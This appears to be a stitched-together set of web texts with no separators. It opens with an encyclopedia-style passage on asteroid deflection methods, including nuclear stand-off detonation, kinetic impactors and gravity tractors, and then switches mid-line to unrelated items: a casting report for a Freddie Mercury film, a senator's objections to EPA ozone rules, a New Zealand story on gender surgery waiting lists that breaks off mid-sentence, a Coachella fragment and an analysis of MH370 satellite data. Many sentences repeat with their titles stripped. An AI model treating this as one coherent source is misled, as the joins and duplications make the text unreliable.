Initiating a nuclear explosive device above, on, or slightly beneath, the surface of a threatening celestial body is a potential deflection option, with the optimal detonation height dependent upon the composition and size of the object.[58][59][60] It does not require the entire NEO to be vaporized to mitigate an impact threat. In the case of an inbound threat from a "rubble pile," the stand off, or detonation height above the surface configuration, has been put forth as a means to prevent the potential fracturing of the rubble pile.[61] The energetic neutrons and soft X-rays released by the detonation, which do not appreciably penetrate matter,[62] are converted into thermal heat upon encountering the object's surface matter, ablatively vaporizing all line of sight exposed surface areas of the object to a shallow depth,[61] turning the surface material it heats up into ejecta, and, analogous to the ejecta from a chemical rocket engine exhaust, changing the velocity, or "nudging", the object off course by the reaction, following Newton's third law, with ejecta going one way and the object being propelled in the other.[61][63] Depending on the energy of the explosive device, the resulting rocket exhaust effect, created by the high velocity of the asteroid's vaporized mass ejecta, coupled with the object's small reduction in mass, would produce enough of a change in the object's orbit in order to avoid hitting the Earth.[51][63]
A Hypervelocity Asteroid Mitigation Mission for Emergency Response (HAMMER) has been proposed.[64]
Stand-off approach [ edit ]
If the object is very large but is still a loosely held together rubble pile, a solution is to detonate one or a series of nuclear explosive devices alongside the asteroid, at a 20-meter or greater stand-off height above its surface, so as not to fracture the potentially loosely held together object. Providing this stand-off strategy was done far enough in advance, the force from a sufficient number of nuclear blasts would be enough to alter the object's trajectory to avoid an impact, according to computer simulations and experimental evidence from meteorites exposed to the thermal X-ray pulses of the Z-machine.[65]
The 1964 book Islands in Space calculates that the nuclear megatonnage necessary for several deflection scenarios exists.[66] In 1967, graduate students under Professor Paul Sandorff at the Massachusetts Institute of Technology were tasked with designing a method to prevent a hypothetical 18 month distant impact on Earth by the 1.4 kilometer wide asteroid 1566 Icarus, an object which makes regular close approaches to Earth, sometimes as close as 16 lunar distances.[67] To achieve the task within the timeframe and with limited material knowledge of the asteroid's composition, a variable stand-off system was conceived. This would have used a number of modified Saturn V rockets sent on interception courses and the creation of a handful of nuclear explosive devices in the 100 megaton energy range—coincidentally, the maximum yield of the Soviets' 27 metric-tonne mass, 1961 Tsar Bomba if a uranium tamper had been used—as each rocket vehicle's payload.[68][69] The design study was later published as Project Icarus[70] which served as the inspiration for the 1979 film Meteor.[69][71][72]
A NASA analysis of deflection alternatives, conducted in 2007, stated:[73]
Nuclear standoff explosions are assessed to be 10–100 times more effective than the non-nuclear alternatives analyzed in this study. Other techniques involving the surface or subsurface use of nuclear explosives may be more efficient, but they run an increased risk of fracturing the target NEO. They also carry higher development and operations risks.
In the same year NASA released a study where the asteroid Apophis (with a diameter ~300 m) was assumed to have a much lower rubble pile density (1,500 kg/m3) and therefore mass than is now known, and in the study, it is assumed to be on an impact trajectory with Earth for the year 2029. Under these hypothetical conditions, the report determines that a "Cradle spacecraft" would be sufficient to deflect it from Earth impact. This conceptual spacecraft contains six B83 physics packages, each set for their maximum 1.2 megatonne yield[74] that are bundled together and lofted by an Ares V vehicle sometime in the 2020s, with each B83 being fuzed to detonate over the asteroid's surface at a height of 100 m ("1/3 of the objects diameter" as its stand-off), one after the other, with hour long intervals between each successive detonation. The results of this study indicated that a single employment of this "option can deflect NEOs of [100-500m diameter] two years before impact, and larger NEOs with at least five years warning".[75][76] These effectiveness figures are considered to be "conservative" by its authors and only the thermal X-ray output of the B83 devices was considered, while neutron heating was neglected for ease of calculation purposes.[76][77]
Surface and subsurface use [ edit ]
The director of the Asteroid Deflection Research Center at Iowa State University, Wie, who had published kinetic impactor deflection studies in the past,[50] began in 2011 to study strategies that could deal with 50 to 500 meter diameter objects when the time to Earth impact was under a year or so. He concluded that to provide the required energy, a nuclear explosion or other events that could deliver the same power, are the only methods that can work against a very large asteroid within these time constraints.
This work resulted in the creation of a conceptual Hypervelocity Asteroid Intercept Vehicle (HAIV), which combines a kinetic impactor to create an initial crater for a follow-up subsurface nuclear detonation within that initial crater, which would generate a high degree of efficiency in the conversion of the nuclear energy that is released in the detonation into propulsion energy to the asteroid.[78]
Another proposed approach along similar lines is the use of a surface detonating nuclear device, in place of the prior mentioned kinetic impactor, in order to create the initial crater, with the resulting crater that forms then again being used as a rocket nozzle to channel succeeding nuclear detonations.
At the 2014 NASA Innovative Advanced Concepts (NIAC) conference, Wie and his colleagues stated that, "We have the solution, using our baseline concept, to be able to mitigate the asteroid-impact threat, with any range of warning." For example, according to their computer models, with a warning time of 30 days a 1,000-foot-wide (300 m) asteroid would be neutralized by using a single HAIV, with less than 0.1 percent of the destroyed object's mass potentially striking Earth, which by comparison would be more than acceptable.[79][80]
As of 2015 Wie has collaborated with the Danish Emergency Asteroid Defence Project (EADP),[81] which ultimately intends to crowdsource sufficient funds to design, build and store a non-nuclear HAIV spacecraft as planetary insurance. For threatening asteroids too large and/or too close to Earth impact to effectively be deflected by the non-nuclear HAIV approach, nuclear explosive devices with 5% of the explosive yield in this configuration than when compared to the stand-off strategy are intended to be swapped-in, under international oversight, when conditions arise that necessitate it.[82]
Comet deflection possibility [ edit ]
Following the 1994 Shoemaker-Levy 9 comet impacts with Jupiter, Edward Teller proposed to a collective of U.S. and Russian ex-Cold War weapons designers in a 1995 planetary defense workshop meeting at Lawrence Livermore National Laboratory (LLNL), that they collaborate to design a 1 gigaton nuclear explosive device, which would be equivalent to the kinetic energy of a 1 km diameter asteroid.[83][84][85] The theoretical 1 Gt device would weigh about 25–30 tons, light enough to be lifted on the Energia rocket and it could be used to instantaneously vaporize a 1 km asteroid, divert the paths of extinction event class asteroids (greater than 10 km in diameter) within a few months of short notice, while with 1-year notice, at an interception location no closer than Jupiter, it would also be capable of dealing with the even rarer short period comets which can come out of the Kuiper belt and transit past Earth orbit within 2 years. For comets of this class, with a maximum estimated 100 km diameter, Charon served as the hypothetical threat.[83][84][85]
In 2013, the related National Laboratories of the US and Russia signed a deal that includes an intent to cooperate on defense from asteroids.[86]
Present capability [ edit ]
An April 2014 GAO report notes that the NNSA is retaining canned subassemblies (CSAs) " in an indeterminate state pending a senior-level government evaluation of their use in planetary defense against earthbound asteroids."[87] In its FY2015 budget request, the NNSA noted that the 9 Mt B53 component disassembly was "delayed", leading some observers to conclude they might be the warhead CSAs being retained for potential planetary defense purposes.[88][not in citation given] Following the total disassembly of all 25 Mt high yield B41s in 1976, the B53 is the highest yielding US device presently in the Enduring Stockpile.
Law [ edit ]
The use of nuclear explosive devices is an international issue and will need to be addressed by the United Nations Committee on the Peaceful Uses of Outer Space. The 1996 Comprehensive Nuclear-Test-Ban Treaty technically bans nuclear weapons in space. However it is unlikely that a nuclear explosive device, fuzed to be detonated only upon interception with a threatening celestial object,[89] with the sole intent of preventing that celestial body from impacting Earth would be regarded as an un-peaceful use of space, or that the explosive device sent to mitigate an Earth impact, explicitly designed to prevent harm to come to life would fall under the classification of a "weapon".[90]
Kinetic impact [ edit ]
The impact of a massive object, such as a spacecraft or even another near-Earth object, is another possible solution to a pending NEO impact. An object with a high mass close to the Earth could be sent out into a collision course with the asteroid, knocking it off course.
When the asteroid is still far from the Earth, a means of deflecting the asteroid is to directly alter its momentum by colliding a spacecraft with the asteroid.
A NASA analysis of deflection alternatives, conducted in 2007, stated:[73]
Non-nuclear kinetic impactors are the most mature approach and could be used in some deflection/mitigation scenarios, especially for NEOs that consist of a single small, solid body.
The European Space Agency (ESA) is studying the preliminary design of two space missions for ~2020, named AIDA (formerly Don Quijote), and if flown, they would be the first intentional asteroid deflection mission ever designed. ESA's Advanced Concepts Team has also demonstrated theoretically that a deflection of 99942 Apophis could be achieved by sending a simple spacecraft[when?] weighing less than one ton to impact against the asteroid. During a trade-off study one of the leading researchers[who?] argued that a strategy called 'kinetic impactor deflection' was more efficient than others.[dubious – discuss]
The European Union's NEOShield-2 Mission[98] is also primarily studying the Kinetic Impactor mitigation method. The principle of the kinetic impactor mitigation method is that the NEO or Asteroid is deflected following an impact from an impactor spacecraft. The principle of momentum transfer is used, as the impactor crashes into the NEO at a very high velocity of 10 km/s or more. The mass and velocity of the impactor (the momentum) are transferred to the NEO, causing a change in velocity and therefore making it deviate from its course slightly.[99]
As of mid-2018, the AIDA mission has been partly approved. The NASA Double Asteroid Redirection Test (DART) kinetic impactor spacecraft has entered phase C (detailed definition). The goal is to impact the 180-m asteroidal moon of Near-Earth Asteroid 65803 Didymos, nicknamed Didymoon. The impact will occur in October 2022 when Didymos is relatively close to Earth, allowing Earth-based telescopes and planetary radar to observe the event. The result of the impact will be to change the orbital velocity and hence orbital period of Didymoon, by a large enough amount that it can be measured from Earth. This will show for the first time that it is possible to change the orbit of a small ~200m diameter asteroid, around the size most likely to require active mitigation in the future. The second part of the AIDA mission - the ESA HERA spacecraft - has entered phase B (Preliminary Definition) and requires approval by ESA member states in October 2019. If approved, it would reach the Didymos system in 2024 and measure both the mass of Didymoon and the precise effect of the impact on that body, allowing much better extrapolation of the AIDA mission to other targets.
Asteroid gravity tractor [ edit ]
One more alternative to explosive deflection is to move the asteroid slowly over a time. Tiny constant thrust accumulates to deviate an object sufficiently from its predicted course. Edward T. Lu and Stanley G. Love have proposed using a large heavy unmanned spacecraft hovering over an asteroid to gravitationally pull the latter into a non-threatening orbit. The spacecraft and the asteroid mutually attract one another. If the spacecraft counters the force towards the asteroid by, e.g., an ion thruster, the net effect is that the asteroid is accelerated towards the spacecraft and thus slightly deflected from its orbit. While slow, this method has the advantage of working irrespective of the asteroid composition or spin rate – rubble pile asteroids would be difficult to deflect by means of nuclear detonations while a pushing device would be hard or inefficient to mount on a fast rotating asteroid. A gravity tractor would likely have to spend several years beside the asteroid to be effective.
A NASA analysis of deflection alternatives, conducted in 2007, stated:[73]
"Slow push" mitigation techniques are the most expensive, have the lowest level of technical readiness, and their ability to both travel to and divert a threatening NEO would be limited unless mission durations of many years to decades are possible.
The Asteroid Redirect Mission vehicle was to demonstrate the " gravity tractor " planetary defense technique on a hazardous-size asteroid. The gravity tractor method leverages the mass of the spacecraft to impart a gravitational force on the asteroid, slowly altering the asteroid's trajectory.
Ion beam shepherd [ edit ]
Another "contactless" asteroid deflection technique has been recently proposed by C.Bombardelli and J.Peláez from the Technical University of Madrid. The method involves the use of a low divergence ion thruster pointed at the asteroid from a nearby hovering spacecraft. The momentum transmitted by the ions reaching the asteroid surface produces a slow but continuous force that can deflect the asteroid in a similar way as done by the gravity tractor but with a lighter spacecraft.
Use of focused solar energy [ edit ]
NASA study of a solar sail. The sail would be 0.5 km wide.
H. Jay Melosh proposed deflecting an asteroid or comet by focusing solar energy onto its surface to create thrust from the resulting vaporization of material, or to amplify the Yarkovsky effect. Over a span of months or years enough solar radiation can be directed onto the object to deflect it.[citation needed]
This method would first require the construction of a space station with a system of gigantic lenses. Then the station would be transported toward the Sun.
Mass driver [ edit ]
A mass driver is an (automated) system on the asteroid to eject material into space thus giving the object a slow steady push and decreasing its mass. A mass driver is designed to work as a very low specific impulse system, which in general uses a lot of propellant, but very little power.
The idea is that when using local material as propellant, the amount of propellant is not as important as the amount of power, which is likely to be limited.
Another possibility is to use a mass driver on the Moon aimed at the NEO to take advantage of the Moon's orbital velocity and inexhaustible supply of "rock bullets".[citation needed]
Conventional rocket engine [ edit ]
Attaching any spacecraft propulsion device would have a similar effect of giving a push, possibly forcing the asteroid onto a trajectory that takes it away from Earth. An in-space rocket engine that is capable of imparting an impulse of 106 N·s (E.g. adding 1 km/s to a 1000 kg vehicle), will have a relatively small effect on a relatively small asteroid that has a mass of roughly a million times more. Chapman, Durda, and Gold's white paper[100] calculates deflections using existing chemical rockets delivered to the asteroid.
Such direct force rocket engines are typically proposed to use highly-efficient electrically powered spacecraft propulsion, such as ion thrusters or VASIMR.
Asteroid laser ablation [ edit ]
Similar to the effects of a nuclear device, it is thought possible to focus sufficient laser energy on the surface of an asteroid to cause flash vaporization / ablation to create either in impulse or to ablate away the asteroid mass. This concept, called asteroid laser ablation was articulated in the 1995 SpaceCast 2020[102] white paper "Preparing for Planetary Defense",[103] and the 1996 Air Force 2025[102] white paper "Planetary Defense: Catastrophic Health Insurance for Planet Earth".[104] Early publications include C. R. Phipps "ORION" concept from 1996, Colonel Jonathan W. Campbell's 2000 monograph "Using Lasers in Space: Laser Orbital Debris Removal and Asteroid Deflection",[105] and NASA's 2005 concept Comet Asteroid Protection System (CAPS).[106] Typically such systems require a significant amount of power, such as would be available from a Space-Based Solar Power Satellite.
Another proposal is the Phillip Lubin's DE-STAR[108] proposal.
The DE-STAR project,[109] proposed by researchers at the University of California, Santa Barbara, is a concept modular solar powered 1 µm, near infrared wavelength, laser array. The design calls for the array to eventually be approximately 1 km squared in size, with the modular design meaning that it could be launched in increments and assembled in space. In its early stages as a small array it could deal with smaller targets, assist solar sail probes and would also be useful in cleaning up space debris.
Other proposals [ edit ]
Deflection technology concerns [ edit ]
Carl Sagan, in his book Pale Blue Dot, expressed concern about deflection technology that any method capable of deflecting impactors away from Earth could also be abused to divert non-threatening bodies toward the planet. Considering the history of genocidal political leaders and the possibility of the bureaucratic obscuring of any such project's true goals to most of its scientific participants, he judged the Earth at greater risk from a man-made impact than a natural one. Sagan instead suggested that deflection technology be developed only in an actual emergency situation.
All low-energy delivery deflection technologies have inherent fine control and steering capability, making it possible to add just the right amount of energy to steer an asteroid originally destined for a mere close approach toward a specific Earth target.
According to Rusty Schweickart, the gravitational tractor method is controversial because, during the process of changing an asteroid's trajectory, the point on the Earth where it could most likely hit would be slowly shifted across different countries. Thus, the threat for the entire planet would be minimized at the cost of some specific states' security. In Schweickart's opinion, choosing the way the asteroid should be "dragged" would be a tough diplomatic decision.[117]
Analysis of the uncertainty involved in nuclear deflection shows that the ability to protect the planet does not imply the ability to target the planet. A nuclear explosion that changes an asteroid's velocity by 10 meters/second (plus or minus 20%) would be adequate to push it out of an Earth-impacting orbit. However, if the uncertainty of the velocity change was more than a few percent, there would be no chance of directing the asteroid to a particular target.
Planetary defense timeline [ edit ]
In their 1964 book, Islands in Space, Dandridge M. Cole and Donald W. Cox noted the dangers of planetoid impacts, both those occurring naturally and those that might be brought about with hostile intent. They argued for cataloging the minor planets and developing the technologies to land on, deflect, or even capture planetoids. [118]
Dandridge M. Cole and Donald W. Cox noted the dangers of planetoid impacts, both those occurring naturally and those that might be brought about with hostile intent. They argued for cataloging the minor planets and developing the technologies to land on, deflect, or even capture planetoids. In 1967, students in the Aeronautics and Astronautics department at MIT did a design study, "Project Icarus," of a mission to prevent a hypothetical impact on Earth by asteroid 1566 Icarus. [69] The design project was later published in a book by the MIT Press [70] and received considerable publicity, for the first time bringing asteroid impact into the public eye. [68]
The design project was later published in a book by the MIT Press and received considerable publicity, for the first time bringing asteroid impact into the public eye. In the 1980s NASA studied evidence of past strikes on planet Earth, and the risk of this happening at the current level of civilization. This led to a program that maps which objects in the Solar System both cross Earth's orbit and are large enough to cause serious damage if they ever hit.
In the 1990s, US Congress held hearings to consider the risks and what needed to be done about them. This led to a US$3 million annual budget for programs like Spaceguard and the near-Earth object program, as managed by NASA and USAF.
In 2005 a number of astronauts published an open letter through the Association of Space Explorers calling for a united push to develop strategies to protect Earth from the risk of a cosmic collision. [119]
It is currently (as of late 2007) estimated that there are approximately 20,000 objects capable of crossing Earth's orbit and large enough (140 meters or larger) to warrant concern. [120] On the average, one of these will collide with Earth every 5,000 years, unless preventative measures are undertaken. [121] It is now anticipated that by year 2008, 90% of such objects that are 1 km or more in diameter will have been identified and will be monitored. The further task of identifying and monitoring all such objects of 140m or greater is expected to be complete around 2020. [121]
On the average, one of these will collide with Earth every 5,000 years, unless preventative measures are undertaken. It is now anticipated that by year 2008, 90% of such objects that are 1 km or more in diameter will have been identified and will be monitored. The further task of identifying and monitoring all such objects of 140m or greater is expected to be complete around 2020. The Catalina Sky Survey [122] (CSS) is one of NASA´s four funded surveys to carry out a 1998 U.S. Congress mandate to find and catalog by the end of 2008, at least 90 percent of all near-Earth objects (NEOs) larger than 1 kilometer across. CSS discovered over 1150 NEOs in years 2005 to 2007. In doing this survey they discovered on November 20, 2007, an asteroid, designated 2007 WD 5, which initially was estimated to have a chance of hitting Mars on January 30, 2008, but further observations during the following weeks allowed NASA to rule out an impact. [123] NASA estimated a near miss by 26,000 kilometres (16,000 mi). [124]
(CSS) is one of NASA´s four funded surveys to carry out a 1998 U.S. Congress mandate to find and catalog by the end of 2008, at least 90 percent of all near-Earth objects (NEOs) larger than 1 kilometer across. CSS discovered over 1150 NEOs in years 2005 to 2007. In doing this survey they discovered on November 20, 2007, an asteroid, designated, which initially was estimated to have a chance of hitting Mars on January 30, 2008, but further observations during the following weeks allowed NASA to rule out an impact. NASA estimated a near miss by 26,000 kilometres (16,000 mi). In January 2012, after a near pass-by of object 2012 BX34, a paper entitled "A Global Approach to Near-Earth Object Impact Threat Mitigation," is released by researchers from Russia, Germany, the United States, France, Britain and Spain which discusses the "NEOShield" project.[125][126]
Fictional representations [ edit ]
Asteroid or comet impacts are a common subgenre of disaster fiction, and such stories typically feature some attempt—successful or unsuccessful—to prevent the catastrophe. Most involve trying to destroy or explosively redirect an object. (See also Asteroids in fiction –Collisions with Earth).
Film [ edit ]
Literature [ edit ]
Lucifer's Hammer (1977): A comet, which was initially thought unlikely to strike, hits the Earth, resulting in the end of civilization and a decline into tribal warfare over food and resources. Written by Larry Niven and Jerry Pournelle.
(1977): A comet, which was initially thought unlikely to strike, hits the Earth, resulting in the end of civilization and a decline into tribal warfare over food and resources. Written by Larry Niven and Jerry Pournelle. The Hammer of God (1993): A spacecraft is sent to divert a massive asteroid by using thrusters. Written by Arthur C. Clarke.
(1993): A spacecraft is sent to divert a massive asteroid by using thrusters. Written by Arthur C. Clarke. Titan (1997): The Chinese, to retaliate for biological attacks by the US, cause a huge explosion next to an asteroid (2002OA), with the aim of deflecting it into Earth orbit and threatening the world with targeted precision strikes in the future. Unfortunately, their calculations are wrong as they didn't take into account the size of the asteroid which could cause a Cretaceous–Paleogene extinction event. The asteroid strikes Earth, critically damaging the planetary ecosystem. Written by Stephen Baxter.
(1997): The Chinese, to retaliate for biological attacks by the US, cause a huge explosion next to an asteroid (2002OA), with the aim of deflecting it into Earth orbit and threatening the world with targeted precision strikes in the future. Unfortunately, their calculations are wrong as they didn't take into account the size of the asteroid which could cause a Cretaceous–Paleogene extinction event. The asteroid strikes Earth, critically damaging the planetary ecosystem. Written by Stephen Baxter. Moonfall (1998): A comet is in collision course with the Moon. After the collision, the debris start falling on Earth. Written by Jack McDevitt.
(1998): A comet is in collision course with the Moon. After the collision, the debris start falling on Earth. Written by Jack McDevitt. Nemesis (1998): The US government gathers a small team, including a British astronomer, with instructions to find and deflect an asteroid already targeted at North America by the Russians. Written by British astronomer Bill Napier.
Television [ edit ]
Video games [ edit ]
Ace Combat 04: Shattered Skies (2001): In this combat flight simulator for the PlayStation 2 by Namco, a railgun battery is used in an attempt to destroy a massive asteroid with limited success.
(2001): In this combat flight simulator for the PlayStation 2 by Namco, a railgun battery is used in an attempt to destroy a massive asteroid with limited success. Mass Effect (2007): The "Bring Down the Sky" expansion features an alien extremist group that attempts to hijack an asteroid station and set it on a collision course with a human colony.
(2007): The "Bring Down the Sky" expansion features an alien extremist group that attempts to hijack an asteroid station and set it on a collision course with a human colony. Outpost (1994): The game's plot mentions how an attempt to divert the path of the asteroid Vulcan's Hammer, in collision course with Earth, using a nuclear weapon fails and instead causes it to break in two large pieces that strike Earth.
(1994): The game's plot mentions how an attempt to divert the path of the asteroid, in collision course with Earth, using a nuclear weapon fails and instead causes it to break in two large pieces that strike Earth. In Terminal Velocity, the aggressors install an ion drive on Ceres to direct it towards Earth.
, the aggressors install an ion drive on Ceres to direct it towards Earth. In Fate/Grand Order, an immortal Qin Shi Huang who continued ruling up to 2018 AD in an alternate timeline had developed a planetary defense system named "Grear Wall" which captures meteoroids and drop them at villages he finds unruly.
See also [ edit ]
References [ edit ]
Bibliography
Further reading [ edit ]
GeneralEXCLUSIVE: Whether it’s Marvin Gaye, Janis Joplin, Phil Spector or a host of others, enough announced music pics stall that it’s hard to find one worth worth getting excited about. Try this one: Sacha Baron Cohen has closed a deal to play Queen front man Freddie Mercury in a film that’s being scripted by Peter Morgan for a 2011 production start. The untitled film will be financed by GK Films partners Graham King and Tim Headington, who’ll produce in partnership with Robert De Niro and Jane Rosenthal’s Tribeca Productions, and Queen Films. Morgan is already working on a script focused on the band’s formative years, leading up to Queen’s appearance at Live Aid in 1985. Queen’s performance is considered one of the rock’s all-time great live concert appearances.
A rights package has been set that includes the band’s tunes, including Bohemian Rhapsody, We Will Rock You, We Are the Champions, Another One Bites The Dust and You’re My Best Friend. It is unclear whether Baron Cohen will sing—I’m told he can sing—or whether Mercury’s vocals will be used. Nobody sang like Mercury, so trying to replicate him would be a tall order. These decisions will be made as a director gets hired. Mercury died November 24, 1991 of complications from AIDS. Though his death helped to remove the stigma of AIDS sufferers prevalent at that time and particularly in the rock music industry, Mercury’s last days won’t be the subject of the film.
Baron Cohen is an intriguing choice. For one thing, he looks more like Mercury than any star I can think of. While Baron Cohen’s primarily a comic actor, he plays well-defined characters in films from Borat to Talladega Nights, Sweeney Todd and Bruno, and he’s currently starring in the 3D Martin Scorsese-directed drama Hugo Cabret, also for GK Films. In April, Baron Cohen was the catalyst for a big bucks comedy pitch being written by Alec Berg, Jeff Schaffer and David Mandel. Paramount beat out others for a film, which calls for Baron Cohen to play dual roles of a goat herder and a deposed dictator who gets lost in the US. It was an extravagant deal and the project is on a fast track. It’s unclear how timing factors into the Mercury film.
Sacha Baron Cohen BANNED From Oscars 2012
Morgan has become a go-to guy for prestige films based on real figures, from Frost/Nixon to The Queen (no relation), The Last King of Scotland and Damned United. His most recent script, Hereafter, made its premiere at the Toronto International Film Festival last Sunday, with director Clint Eastwood and stars Matt Damon and Bryce Dallas Howard introducing the film at the Elgin Theater.
GK’s King confirmed the Queen deal: “Queen is one of the greatest rock bands of all time, and a music brand all unto itself,” he said in a statement. “Freddie Mercury was an awe-inspiring performer, so with Sacha in the starring role coupled with Peter’s screenplay and the support of Queen, we have the perfect combination to tell the real story behind their success.”
This is the first time the surviving members of Queen–Brian May, Roger Taylor and John Deacon–have licensed songs and music publishing rights for a movie about the band and they formed Queen Films to be part of the production team on the film. They previously supplied their songs to We Will Rock You, the stage musical that has been running 9 years on London’s West End.
GK Films tomorrow opens the Ben Affleck-directed The Town through Warner Bros, and the Angelina Jolie-Johnny Depp thriller The Tourist opens December 10 through Columbia Pictures. Baron Cohen’s repped by WME and Morgan by UTA and UK-based Independent Talent Group.The Environmental Protection Agency (EPA) standards for ozone, expected to be released Wednesday, are already being met with opposition from conservative lawmakers.
In a statement released Tuesday night, Sen. James Inhofe James (Jim) Mountain InhofeTrump backs off total Syria withdrawal Allies wary of Shanahan's assurances with looming presence of Trump On The Money: Trump to sign border deal, declare emergency to build wall | Senate passes funding bill, House to follow | Dems promise challenge to emergency declaration MORE (R-Okla.) said the new National Ambient Air Quality Standards for ozone will face “rigorous oversight” in the Congress.
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“EPA's proposal to lower the Ozone National Ambient Air Quality Standard (NAAQS) to between 65 parts per billion and 70 ppb will lower our nation's economic competitiveness and stifle job creation for decades," he said.
"The EPA's previously proposed Ozone standard came with a price tag of up to $90 billion per year, by EPA's own estimation. In 2011, President Obama pulled back on the 2010 proposal due to high costs and the potential of a detrimental impact to American businesses. Now the EPA is proposing an equally aggressive standard while failing to even be advised about the potential cost of lowering the standard.”
If the EPA adopts a 60 parts per billion rule, Inhofe said Oklahoma will lose 14,000 good-paying jobs, compliance costs will reach $846 million and household electricity bills across the state will increase by 15 percent to an average of $660 per year.
“I refuse to let the people of Oklahoma, and America more broadly, fall victim to EPA's over-regulation and extreme environmentalist agenda,” he said.
“Today we are breathing the cleanest air since the Clean Air Act was passed in the 1970s, and our country should first look to meet the current Ozone standard before we even consider adding more burdensome, costly mandates."A doctor has accused the Ministry of Health of inflicting "cruel, cynical, hopelessness" on transgender patients, in emails obtained by ONE News.
Laird Madison, an endocrinologist at the Taranaki District Health Board, wrote to a Ministry staff member last year, asking why the Government maintains such long waiting lists for gender reassignment surgery.
"Why in God's name put a patient on a 40 year waiting list?", Dr Madison wrote.
"Isn't 40 years outrageous enough for the Government to admit failure – they want the list to grow?
"I suppose they do, that makes it much more an intractable problem and puts it into the 'too hard' category.
"I think it is just inflicting cruel, cynical, hopelessness on the patient – generate a false sense that something is being done."
In reply, a Ministry of Health senior adviser sympathises with the doctor's position.
"I share your frustration. I am hoping that we will get approval to increase the volume of surgeries we are mandated to provide."
Eighty-eight people are now awaiting gender reassignment surgery, with an average of two operations funded from the public purse each year.
Dr Madison declined to comment further, saying the comment to the Ministry effectively explained his opinion.
The Health Minister, Jonathan Coleman, is standing by the funding policy, saying |
time, the tunes were very groovy, perfect for Coachella and The Farm. I’ll let the video do the talking.
Other notable mentions include Ty Segall, MS MR, Cloud Nothings, GOAT, Washed Out and War Paint.
Did you go to Coachella? Who did you see? Leave your comments below.Students stand next to a mural of missing Malaysia Airlines Flight 370 on the grounds of their school in Manila, Philippines, on March 18, 2014. The mural was created as part of solidarity action, by concerned artists, for the passengers and crew of the missing plane. Photo by Ted Aljibe/AFP/Getty Images
Two weeks ago, after months of mounting public pressure, Inmarsat and the Malaysian government finally released the raw satellite data that had been received from the missing Malaysia Airlines Flight 370. Most of the data dump proved unrevealing. But tucked away amid 47 pages of detailed communications logs and explanatory notes was a two-sentence description of the plane’s electronics system that turned out to be a doozy. Combined with previously released data, publicly available information, and a little vector mathematics, it has proved sufficient to lift the veil on Inmarsat’s calculations and reveal the ultimate fate of the plane.
The story goes back to March 25, when Malaysian authorities announced that an analysis of the data had determined that the plane must have wound up in the southern Indian Ocean. An explanatory document released at the time purported to back up that claim with charts and numbers, but as I’ve written earlier, it in fact was so obtuse that it didn’t really clarify anything at all. The message’s subtext was basically: Trust us, we know what we’re doing. But the subsequent behavior of the search officials—who, among other things, promised that they’d located the plane underwater but then came up empty-handed—left little room for confidence. Many, including me, wondered whether the authorities were hiding something, or else trying to conceal how little they knew.
The impenetrability of the report didn’t stop an impromptu squad of amateur sleuths from trying to crack open its secrets. Experts with backgrounds in satellite communications, space science, and avionics banded together on the Internet to swap insights and exchange theories. For two months, they beavered away at the problem. The idea was that if they could reverse-engineer the original data out of the tables and diagrams that Inmarsat had released, they could undertake their own analysis of what happened to the plane and offer alternate suggestions about its fate.
A way to understand the nature of the Inmarsat data is to imagine that your drunken brother-in-law has stolen your motorboat and is careening around on a pond in a thick fog. You’re standing on the shore and want to know where he is. You have a foghorn, and let’s just imagine that every time you blast it, he immediately blasts his foghorn in reply.
The sound of his foghorn tells you two things. First, knowing the speed of sound and your brother-in-law’s reaction time, you can work out how far away he is by how long it takes you to hear his blast. You won’t know his exact location, but you’ll know the radius of an arc that he’s positioned on. In the case of the Inmarsat data, this would correspond to the so-called ping rings, the final one being the famous Northern and Southern Arcs where the plane is presumed to have wound up.
The second clue you can glean from your brother-in-law’s foghorn is the frequency of the sound, which will tell whether he’s going away from or coming toward you. This is thanks to the Doppler effect, the same phenomenon that makes a train whistle sound higher-pitched when it’s coming toward you and then suddenly lower once it zooms past. If you know the original frequency of your brother-in-law’s foghorn, the difference between that and the pitch of the sound you receive will let you determine his speed—not his total velocity, mind you, but the extent to which he’s moving closer or further away. In the case of MH370, the equivalent data is called burst frequency offset, or BFO.
Essentially, if we derive the distances from the timing offset, and the instantaneous speeds from the frequency offset, we have two solid sets of clues as to how the plane was moving. Unfortunately, when authorities released their report on March 25, they didn’t include any BFO or ping timing numbers, but only a chart from which a crude approximation of the BFO numbers could be gleaned and a chart showing a possible track from which distance values could be estimated.
Courtesy of the Inmarsat report
In the weeks that followed, the Malaysian authorities released further information that allowed for better estimations of the ping rings. But the BFO data remained hopelessly obscure. Without it, independent experts struggled to understand why Inmarsat claimed that the plane could not have gone north. Some even suggested that Inmarsat engineers might have made a basic math error and flubbed their whole analysis. The headline of one much-discussed Atlantic article summed up the skeptics’ perspective: “Why the Official Explanation of MH370’s Demise Doesn’t Hold Up.”
For their part, the authorities clung fast to the hope that their detective work would be vindicated once a search of the ocean bottom revealed the airliner’s wreckage. When it didn’t, their credibility was at a nadir. Public pressure was mounting, especially from the impassioned and increasingly well-organized family members of the missing passengers. At last, on May 27, Inmarsat and the Malaysian authorities released the raw satellite data. With great anticipation, the scattered legion of experts opened the document and set to work. Their excitement quickly faded. Most of the document consists of a mass of logged data that shed no light on the fate of the plane. The timing-offset numbers were similar to the values that had already been deduced. And while the burst frequency numbers were finally revealed, it proved impossible to turn them into velocity values without an accompanying explanation of the equipment used to create and relay the signals. “In fact,” says Mike Exner, one of the leading independent experts trying to make sense of the Inmarsat data, “it has become more difficult to understand the BFO values, not less.”
If the data themselves proved disappointing, two brief sentences in an accompanying page-and-a-half-long explanatory note turned out to be a sleeper. It read: “Inmarsat Classic Aero mobile terminals are designed to correct for aircraft Doppler effect on their transmit signals. The terminal type used on MH370 assumes a stationary satellite at a fixed orbital position.”
From the perspective of independent analysis, this assertion was a bombshell. What it means is that, contrary to general expectation, the plane’s electronics system knew where it was and where it was headed the whole time that it was missing. (Some independent experts, notably Henrik Rydberg, Yap Fah, and Victor Iannello, had previously proposed that this might be the case.) Because it used this information to pre-correct its transmission frequency, the Doppler shift cannot be used to figure out the plane’s instantaneous velocity. But by way of consolation, it’s now possible to figure out pretty much exactly where the plane went.
Imagine that your brother-in-law is still out on the foggy lake, but this time he has a GPS unit with him, so he knows how fast he’s going and where he is. Let’s imagine he also has a special high-tech foghorn that lets him precisely adjust its pitch up and down. By knowing where you are in relation to his position, he can calculate the exact frequency to blow his horn at so that no matter where he is or how fast he’s going, by the time it reaches your ears its been shifted to the exact same frequency. You know he’s out, zooming around willy-nilly, but all you ever hear is the same F sharp.
